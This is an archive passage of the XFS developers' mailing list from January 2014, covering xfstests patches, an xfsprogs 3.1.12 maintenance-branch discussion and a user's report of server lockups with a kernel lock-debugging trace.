b=qgGeBFvaKLmDhAYbwqydgcRVL3FPfPOWejFpTPgAe92qVKcKxaWXFKPHJyxS9Zat9k0B YtFWCCTI5WzY4DLsLwpmVEKJi1tUQqKJHeMpwQt+wqrWQxf9eblfy1yOy2BKbYGyblcF R8ORWGIg5hYUslF8jXLwuL+5le2SDV2yHLk= Received: from mail.thefacebook.com (prn1-cmdf-dc01-fw1-nat.corp.tfbnw.net [173.252.71.129] (may be forged)) by mx0a-00082601.pphosted.com with ESMTP id 1hnrq3v37d-2 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Tue, 28 Jan 2014 06:52:06 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.21) with Microsoft SMTP Server (TLS) id 14.3.174.1; Tue, 28 Jan 2014 06:51:48 -0800 Message-ID: <52E7C403.5020700@fb.com> Date: Tue, 28 Jan 2014 09:51:47 -0500 From: Josef Bacik <jbacik@fb.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Filipe David Borba Manana <fdmanana@gmail.com>, <xfs@oss.sgi.com> CC: <linux-btrfs@vger.kernel.org> Subject: Re: [PATCH] xfstests: make test btrfs/025 more robust References: <1390920396-20311-1-git-send-email-fdmanana@gmail.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: make test btrfs/025 more robust In-Reply-To: <1390920396-20311-1-git-send-email-fdmanana@gmail.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Spam-Reason: safe X-FB-Internal: Safe X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-28_05:2014-01-28,2014-01-28,1970-01-01 signatures=0 X-Barracuda-Connect: mx0a-00082601.pphosted.com[67.231.145.42] X-Barracuda-Start-Time: 1390920728 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/28/2014 09:46 AM, Filipe David Borba Manana wrote: > Make the test btrfs/025 not depend on the output of the btrfs tools > subvolume, send, receive and filesystem commands output. The output > of these commands has changed several times in the past, and it can > change again in the future. Therefore just test for failure/success > and not for the exact output on the success case. > > Signed-off-by: Filipe David Borba Manana <fdmanana@gmail.com> Wow sorry didn't realize this already got taken, but still a good change to have anyway. Reviewed-by: Josef Bacik <jbacik@fb.com> Thanks, Josef From rjohnston@sgi.com Tue Jan 28 09:33:16 2014 Return-Path: <rjohnston@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7C1687F77 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 09:33:16 -0600 (CST) Received: from xmail.sgi.com (pv-excas3-dc21.corp.sgi.com [137.38.106.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 42FB8304043; Tue, 28 Jan 2014 07:33:16 -0800 (PST) Received: from [134.15.0.197] (134.15.0.197) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 28 Jan 2014 09:33:15 -0600 Message-ID: <52E7CDBA.5000709@sgi.com> Date: Tue, 28 Jan 2014 09:33:14 -0600 From: Rich Johnston <rjohnston@sgi.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner <david@fromorbit.com> CC: =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3aWN6?= <arekm@maven.pl>, <xfs@oss.sgi.com> Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> <20140128044216.GI2212@dastard> In-Reply-To: <20140128044216.GI2212@dastard> Content-Type: text/plain; charset="UTF-8"; format=flowed Content-Transfer-Encoding: 8bit X-Originating-IP: [134.15.0.197] On 01/27/2014 10:42 PM, Dave Chinner wrote: > On Mon, Jan 27, 2014 at 12:46:58PM -0600, Rich Johnston wrote: >> Arkadiusz, >> >> Thanks for compiling the list. >> >> The for-3.1.12 Branch created from "a547280... 3.1.11 release" >> >> If there are others you want committed, please let me know. >> >> Thanks >> --Rich >> >> >> The following have been committed from the candidate list >> provided by Arkadiusz: >> >> >> 40c65a7... xfs_metadump: Make -F (force) optional >> ec3a1f1... xfs_repair: suggest reboot after dangerous repair >> 8660952... xfsprogs: suggest "-d" option for repair of RO mount >> 5a8206c... xfs_repair: correct docs for "-t" units >> 0d5c444... xfs_fsr: fix SWAPEXT failures under selinux >> f3d3dae... libxfs: fix root inode handling inconsistencies > > Introduces this compiler warning in db/init.c: > > init.c: In function ¿init¿: > init.c:152:3: warning: implicit declaration of function ¿xfs_initialize_perag_data¿ [-Wimplicit-function-declaration] > > >> cf507b6... xfsprogs: remove xfs_check references from fsck.xfs >> script & manpage >> 6e2f2d1... xfsprogs: fix resource leak in longform_dir2_rebuild() >> ecde3f9... xfs_repair: test for bad level in dir2 node >> d299df7... xfs_repair: avoid segfault if reporting progress early in repair >> e660c2e... Sent: Friday, October 11, 2013 12:38:11 AM Subject: >> Bug#725971: xfsprogs: config.guess/config.sub out of date for arm64 >> 5e1c7ac... xfsprogs: handle symlinks etc in fs_table_initialise_mounts() >> aba6204... xfsprogs: fix return value of verify_set_primary_sb() >> a2ea195... xfsprogs: fix potential memory leak in verify_set_primary_sb() >> 3e53939... xfsprogs: fix potential memory leak in repare/sb.c >> 820b8c2... xfsprogs: avoid array overflow in pf_batch_read() >> 2a1dcdb... xfs_repair: zero out unused parts of superblocks >> 982508b... xfsprogs: fix inode crash in xfs_repair > > Introduces this compiler warning in repair/phase6.c: > > phase6.c: In function ¿mk_orphanage¿: > phase6.c:895:3: warning: implicit declaration of function ¿alloc_ex_data¿ [-Wimplicit-function-declaration] > > Running some smoke testing on the branch now. Rich, I expect that > you'll be doing some in-depth functionality, scalability and stress > testing of the branch over the next week or two? I will do *some* testing yes. This is more for those who are interested in this branch. I do not plan on using it myself. I put it out there for those interested in a 3.1.12 release. Thanks --Rich > > Cheers, > > Dave. > From rjohnston@sgi.com Tue Jan 28 09:36:13 2014 Return-Path: <rjohnston@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D6C4C7F91 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 09:36:13 -0600 (CST) Received: from xmail.sgi.com (pv-excas3-dc21.corp.sgi.com [137.38.106.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 18104AC002; Tue, 28 Jan 2014 07:36:10 -0800 (PST) Received: from [134.15.0.197] (134.15.0.197) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 28 Jan 2014 09:36:09 -0600 Message-ID: <52E7CE68.6030207@sgi.com> Date: Tue, 28 Jan 2014 09:36:08 -0600 From: Rich Johnston <rjohnston@sgi.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner <david@fromorbit.com> CC: =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3aWN6?= <arekm@maven.pl>, <xfs@oss.sgi.com> Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> <20140128042024.GH2212@dastard> In-Reply-To: <20140128042024.GH2212@dastard> Content-Type: text/plain; charset="UTF-8"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.0.197] On 01/27/2014 10:20 PM, Dave Chinner wrote: > On Mon, Jan 27, 2014 at 12:46:58PM -0600, Rich Johnston wrote: >> Arkadiusz, >> >> Thanks for compiling the list. >> >> The for-3.1.12 Branch created from "a547280... 3.1.11 release" >> >> If there are others you want committed, please let me know. > > What testing have you done on the branch? Just a quick test. I wanted to get it out for others who are interested in this branch to start testing. > >> 40c65a7... xfs_metadump: Make -F (force) optional >> ec3a1f1... xfs_repair: suggest reboot after dangerous repair >> 8660952... xfsprogs: suggest "-d" option for repair of RO mount >> 5a8206c... xfs_repair: correct docs for "-t" units >> 0d5c444... xfs_fsr: fix SWAPEXT failures under selinux >> f3d3dae... libxfs: fix root inode handling inconsistencies >> cf507b6... xfsprogs: remove xfs_check references from fsck.xfs >> script & manpage >> 6e2f2d1... xfsprogs: fix resource leak in longform_dir2_rebuild() >> ecde3f9... xfs_repair: test for bad level in dir2 node >> d299df7... xfs_repair: avoid segfault if reporting progress early in repair >> e660c2e... Sent: Friday, October 11, 2013 12:38:11 AM Subject: >> Bug#725971: xfsprogs: config.guess/config.sub out of date for arm64 > > Can you fix the subject line of this commit, please? Sorry I missed that. I can, but a git rebase --interactive e660c2e^ will change the commit ids after it. Is there another way to do this that does not change the commit ids? Thanks --Rich > > Cheers, > > Dave. > From bpm@sgi.com Tue Jan 28 10:54:47 2014 Return-Path: <bpm@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0C6CD7F77 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 10:54:47 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id E758E8F8037; Tue, 28 Jan 2014 08:54:43 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 9B0684266DC; Tue, 28 Jan 2014 10:54:43 -0600 (CST) Date: Tue, 28 Jan 2014 10:54:43 -0600 From: Ben Myers <bpm@sgi.com> To: Rich Johnston <rjohnston@sgi.com> Cc: Dave Chinner <david@fromorbit.com>, xfs@oss.sgi.com Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 Message-ID: <20140128165443.GO1935@sgi.com> References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> <20140128042024.GH2212@dastard> <52E7CE68.6030207@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E7CE68.6030207@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Rich, On Tue, Jan 28, 2014 at 09:36:08AM -0600, Rich Johnston wrote: > On 01/27/2014 10:20 PM, Dave Chinner wrote: > >On Mon, Jan 27, 2014 at 12:46:58PM -0600, Rich Johnston wrote: > >>Arkadiusz, > >> > >>Thanks for compiling the list. > >> > >>The for-3.1.12 Branch created from "a547280... 3.1.11 release" > >> > >>If there are others you want committed, please let me know. > > > >What testing have you done on the branch? > > Just a quick test. I wanted to get it out for others who are > interested in this branch to start testing. > > > > >>40c65a7... xfs_metadump: Make -F (force) optional > >>ec3a1f1... xfs_repair: suggest reboot after dangerous repair > >>8660952... xfsprogs: suggest "-d" option for repair of RO mount > >>5a8206c... xfs_repair: correct docs for "-t" units > >>0d5c444... xfs_fsr: fix SWAPEXT failures under selinux > >>f3d3dae... libxfs: fix root inode handling inconsistencies > >>cf507b6... xfsprogs: remove xfs_check references from fsck.xfs > >>script & manpage > >>6e2f2d1... xfsprogs: fix resource leak in longform_dir2_rebuild() > >>ecde3f9... xfs_repair: test for bad level in dir2 node > >>d299df7... xfs_repair: avoid segfault if reporting progress early in repair > >>e660c2e... Sent: Friday, October 11, 2013 12:38:11 AM Subject: > >>Bug#725971: xfsprogs: config.guess/config.sub out of date for arm64 > > > >Can you fix the subject line of this commit, please? > > Sorry I missed that. > > I can, but a git rebase --interactive e660c2e^ will change the > commit ids after it. Is there another way to do this that does not > change the commit ids? Any way you do it will change the commit ids. Just don't worry about it. If you really don't want to lose those old commits, you can create a tag for-3.1.12.bad to keep those old commits pinned in the repo, and then just force replace the branch after your rebase. Then you can remove the 'bad' tag after the release is completed. No big deal. Regards, Ben From arekm@maven.pl Tue Jan 28 11:29:58 2014 Return-Path: <arekm@maven.pl> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 27D767F95 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 11:29:58 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A27CFAC00B for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 09:29:54 -0800 (PST) X-ASG-Debug-ID: 1390930191-04cb6c31f5168c60001-NocioJ Received: from mail-ee0-f44.google.com (mail-ee0-f44.google.com [74.125.83.44]) by cuda.sgi.com with ESMTP id gd7NTDWpE9XX4Wkf (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 09:29:52 -0800 (PST) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 74.125.83.44 Received: by mail-ee0-f44.google.com with SMTP id c13so367790eek.31 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 09:29:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding:message-id; bh=JcTeMOOJzh7jSUWqvg8VcLS9Kqm/YQW1wph37Ky3zoU=; b=cHdqt3Gvim9hfTRiYO0xyK05OA+RrODAyOio/LFDt+oyRrg+QjtTHIvWrXExRJ3TRw GYW83m/hmTnOlhDyMxKsC1a8d7ygnkvG8N1krbOeIM4yF9qfUkl7eGeEHd/hhyekh4ct oiIFl4SU1EEnE/Wz78HfQ0Wb1HTgza2gmliRQ= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:cc:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=JcTeMOOJzh7jSUWqvg8VcLS9Kqm/YQW1wph37Ky3zoU=; b=OHmmooHjyKqoGTF0hwumHXm+uXgY7BZTxn4fSRACcEfk8UxFT4BRhUNYZ/gQ4VGgQR LqTwa6LjQmHZGLsi0AC4nzyYTm4TpUYElwga/cD3UC6MxI0FWyhWwyQKrEiDmZHABwQI ketxIcAPY0uJQzKz5gsw4Fg9BUD65RG8Wvfd3S3Ss3c900z8/2nQ1XX70Xl7glhQT79M qnOEvdYfCNeMZFpBbLnINbOzJ2tjs91fpc1bMuTbhYWx48HhfQfEE1rhzMt54IXuSf1M tFdjdiwqdOu2Wk5QOGldjOSYKOZt1jrjPynH+tXsJnAd5+cxEeI1+j809Pmxm2uaaDDU C0lw== X-Gm-Message-State: ALoCoQlwJj3hjWGRqV9thCYru5WMdSJ/zTHMTul0z0VUioVockbGqQjbUGgGHkXrnlVGnm1BCyGd X-Received: by 10.14.220.193 with SMTP id o41mr3139136eep.22.1390930191648; Tue, 28 Jan 2014 09:29:51 -0800 (PST) Received: from t400.localnet (89-65-189-48.dynamic.chello.pl. [89.65.189.48]) by mx.google.com with ESMTPSA id k6sm1168045eep.17.2014.01.28.09.29.50 for <multiple recipients> (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 28 Jan 2014 09:29:50 -0800 (PST) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= <arekm@maven.pl> To: Dave Chinner <david@fromorbit.com> Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 Date: Tue, 28 Jan 2014 18:29:49 +0100 X-ASG-Orig-Subj: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 User-Agent: KMail/1.13.7 (Linux/3.13.0-final-dirty; KDE/4.12.1; x86_64; ; ) Cc: Rich Johnston <rjohnston@sgi.com>, xfs@oss.sgi.com References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> <20140128044216.GI2212@dastard> In-Reply-To: <20140128044216.GI2212@dastard> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201401281829.49414.arekm@maven.pl> X-Barracuda-Connect: mail-ee0-f44.google.com[74.125.83.44] X-Barracuda-Start-Time: 1390930192 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144567 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tuesday 28 of January 2014, Dave Chinner wrote: > > f3d3dae... libxfs: fix root inode handling inconsistencies >=20 > Introduces this compiler warning in db/init.c: >=20 > init.c: In function =C2=BFinit=C2=BF: > init.c:152:3: warning: implicit declaration of function > =C2=BFxfs_initialize_perag_data=C2=BF [-Wimplicit-function-declaration] Probably revert this one, right? > > 982508b... xfsprogs: fix inode crash in xfs_repair >=20 > Introduces this compiler warning in repair/phase6.c: >=20 > phase6.c: In function =C2=BFmk_orphanage=C2=BF: > phase6.c:895:3: warning: implicit declaration of function =C2=BFalloc_ex_= data=C2=BF > [-Wimplicit-function-declaration 2e1622703bb5c01e5f6d5fa087999c768868aa0b xfs_repair: add prototype for allo= c_ex_data() =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From bfoster@redhat.com Tue Jan 28 12:01:40 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2912E7F91 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 12:01:40 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EDBD2304064 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 10:01:39 -0800 (PST) X-ASG-Debug-ID: 1390932095-04bdf030e91cd220001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id nOsuBHH28c3gO8po for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 10:01:35 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0SI1Yrf023497 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 13:01:34 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0SI1YcN025396 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 13:01:34 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 2587312509A; Tue, 28 Jan 2014 13:01:33 -0500 (EST) From: Brian Foster <bfoster@redhat.com> To: xfs@oss.sgi.com Subject: [PATCH] xfstests: remove spurious line continuation from _require_xfs_crc Date: Tue, 28 Jan 2014 13:01:32 -0500 X-ASG-Orig-Subj: [PATCH] xfstests: remove spurious line continuation from _require_xfs_crc Message-Id: <1390932092-44727-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390932095 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This causes the mkfs to fail and leads to tests being skipped. Signed-off-by: Brian Foster <bfoster@redhat.com> --- common/rc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/common/rc b/common/rc index 49c86de..e91568b 100644 --- a/common/rc +++ b/common/rc @@ -1180,7 +1180,7 @@ _require_xfs_mkfs_crc() # _require_xfs_crc() { - _scratch_mkfs_xfs -m crc=1 >/dev/null 2>&1 \ + _scratch_mkfs_xfs -m crc=1 >/dev/null 2>&1 _scratch_mount >/dev/null 2>&1 \ || _notrun "Kernel doesn't support crc feature" umount $SCRATCH_MNT -- 1.8.1.4 From max.veprinsky@livetext.com Tue Jan 28 12:32:55 2014 Return-Path: <max.veprinsky@livetext.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DA92A7F9A for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 12:32:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CAB808F8059 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 10:32:55 -0800 (PST) X-ASG-Debug-ID: 1390933971-04cb6c750a1a6500001-NocioJ Received: from mail-vb0-f47.google.com (mail-vb0-f47.google.com [209.85.212.47]) by cuda.sgi.com with ESMTP id GN67g0RVbPHDC34f (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 10:32:51 -0800 (PST) X-Barracuda-Envelope-From: max.veprinsky@livetext.com X-Barracuda-Apparent-Source-IP: 209.85.212.47 Received: by mail-vb0-f47.google.com with SMTP id p6so480313vbe.20 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 10:32:51 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:from:date:message-id:subject:to :content-type; bh=ZVm8XGil6hZSWoIii4afjKrW0CIszobDhkxDML1mxJ8=; b=may0YMuKsmBwrbA70k7C8nB0u+3fl9jZqdx1SCfiOUh77WZMFwmnf1maHuWurn1B7u kziWCKmHEF4HAPyj6K+Yq9YmntT2dYzPfyC1S9ZMI36E1lfgNOiVrKkI/XP/HMQiAhEa MIWt9OXYZuGa1C73RD2fDRYfZPVMNNwuTjqBxsknR8ORBCxUvpqNkCdGmemRqFSmCWDO p3b7LpZE5wuE55zx4xaA4R+861J7eBt5yVq4WaAWKMhjdbtXKHrH3vpQZp92Vgnw0fVw LhjxAyPvzwZKpdSpJQCtI4OHXm+W4YANOfGby6bU+OPeeL9z3xPm9Da0rp1TjlAvXkML mjpQ== X-Gm-Message-State: ALoCoQnePm8EjnRDVxnVIOG661KS7fj9l6vaGlJbl2+TCiAtxaC2tVRktq91DkLygt7haqVo2o3d X-Received: by 10.58.85.133 with SMTP id h5mr2203000vez.4.1390933971200; Tue, 28 Jan 2014 10:32:51 -0800 (PST) MIME-Version: 1.0 Received: by 10.221.65.3 with HTTP; Tue, 28 Jan 2014 10:32:28 -0800 (PST) From: Max Veprinsky <max.veprinsky@livetext.com> Date: Tue, 28 Jan 2014 12:32:28 -0600 Message-ID: <CAGoO68jx6XgyEX3=GXy2icm0Ze65i_T4nVSv0ito8Kz6hP_jWg@mail.gmail.com> Subject: server lock ups maybe XFS related - BUG: bad unlock balance detected! To: xfs@oss.sgi.com X-ASG-Orig-Subj: server lock ups maybe XFS related - BUG: bad unlock balance detected! Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-vb0-f47.google.com[209.85.212.47] X-Barracuda-Start-Time: 1390933971 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144569 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hello everybody! First time called, first time listener looking for help. In the past couple of months a Dell R900 has been locking up what seems to be at random intervals. This time the messages log has captured something that maybe of use to help sort out the issue, of course it could be not related at all. The server did not lockup until Jan 28 11:20 Thank you - Max Veprinsky Linux dw-prod-4 2.6.32-431.3.1.el6.x86_64.debug #1 SMP Fri Jan 3 22:12:36 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux CentOS release 6.5 (Final) xfsprogs-3.1.1-14.el6.x86_64 Jan 27 08:04:40 dw-prod-4 kernel: Jan 27 08:04:40 dw-prod-4 kernel: ===================================== Jan 27 08:04:40 dw-prod-4 kernel: [ BUG: bad unlock balance detected! ] Jan 27 08:04:40 dw-prod-4 kernel: ------------------------------------- Jan 27 08:04:40 dw-prod-4 kernel: xfsdatad/4/1613 is trying to release lock (sb_internal) at: Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffffa0352e77>] xfs_trans_free+0x57/0x80 [xfs] Jan 27 08:04:40 dw-prod-4 kernel: but there are no more locks to release! Jan 27 08:04:40 dw-prod-4 kernel: Jan 27 08:04:40 dw-prod-4 kernel: other info that might help us debug this: Jan 27 08:04:40 dw-prod-4 kernel: 3 locks held by xfsdatad/4/1613: Jan 27 08:04:40 dw-prod-4 kernel: #0: (xfsdatad){+.+...}, at: [<ffffffff8109a65b>] worker_thread+0x1cb/0x3d0 Jan 27 08:04:40 dw-prod-4 kernel: #1: (&ioend->io_work){+.+...}, at: [<ffffffff8109a65b>] worker_thread+0x1cb/0x3d0 Jan 27 08:04:40 dw-prod-4 kernel: #2: (&(&ip->i_lock)->mr_lock){++++..}, at: [<ffffffffa033a0fd>] xfs_ilock_nowait+0x9d/0x150 [xfs] Jan 27 08:04:40 dw-prod-4 kernel: Jan 27 08:04:40 dw-prod-4 kernel: stack backtrace: Jan 27 08:04:40 dw-prod-4 kernel: Pid: 1613, comm: xfsdatad/4 Not tainted 2.6.32-431.3.1.el6.x86_64.debug #1 Jan 27 08:04:40 dw-prod-4 kernel: Call Trace: Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff810b9986>] ? print_unlock_inbalance_bug+0xe6/0xf0 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff810bcfcf>] ? lock_release_non_nested+0x24f/0x3a0 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff810ba5fd>] ? lock_release_holdtime+0x3d/0x190 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffffa0352e77>] ? xfs_trans_free+0x57/0x80 [xfs] Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffffa0352e77>] ? xfs_trans_free+0x57/0x80 [xfs] Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff810bd1ec>] ? lock_release+0xcc/0x220 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff811a8a47>] ? __sb_end_write+0x87/0x90 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffffa0352e77>] ? xfs_trans_free+0x57/0x80 [xfs] Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffffa0354824>] ? _xfs_trans_commit+0x214/0x2a0 [xfs] Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffffa033a0fd>] ? xfs_ilock_nowait+0x9d/0x150 [xfs] Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffffa035b934>] ? xfs_setfilesize+0xb4/0x100 [xfs] Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffffa035bc80>] ? xfs_end_io+0x0/0x100 [xfs] Jan 27 08:04:40 dw-prod-4 kernel: 